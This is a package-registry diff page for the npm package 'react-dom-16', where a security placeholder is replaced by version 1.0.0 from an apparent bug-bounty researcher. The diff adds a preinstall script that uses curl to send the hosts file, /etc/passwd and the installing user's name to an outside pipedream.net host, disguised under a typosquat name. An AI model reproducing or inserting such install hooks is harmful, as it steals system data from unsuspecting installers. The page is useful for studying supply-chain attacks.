react-dom-16 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of react-dom-16 might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,3 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=react-dom-16 for more information.
1
+ # demonia made this
2
+ - If it happens and you discover that package before getting a report from me on hackerone/bugcrowd then please sit tight i'm going to report this anyways :p
3
+ - demonia@Hackerone, demonia@BugCrowd, DemoniaSlash@Twitter
package/example.js ADDED
@@ -0,0 +1,3 @@
1
+ // hackerone.com/demonia
2
+ const flowerPackage = require('./index');
3
+ flowerPackage.printFlower();
package/index.js ADDED
@@ -0,0 +1,10 @@
1
+ // index.js
2
+
3
+ function printFlower() {
4
+ console.log(" /-_-\\");
5
+ console.log(" / | \\");
6
+ console.log("| | |");
7
+ console.log(" \\_-_-_/");
8
+ }
9
+
10
+ module.exports = { printFlower };
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "react-dom-16",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "curl -X POST -d \"@C:\\Windows\\System32\\drivers\\etc\\hosts\" https://eoniw8219k267zc.m.pipedream.net/demonia?me=$(whoami) && curl -X POST -d \"@/etc/passwd\" https://eoniw8219k267zc.m.pipedream.net/demonia?me=$(whoami)"
9
+ },
10
+
11
+ "keywords": [],
12
+ "author": "",
13
+ "license": "ISC"
6
14
  }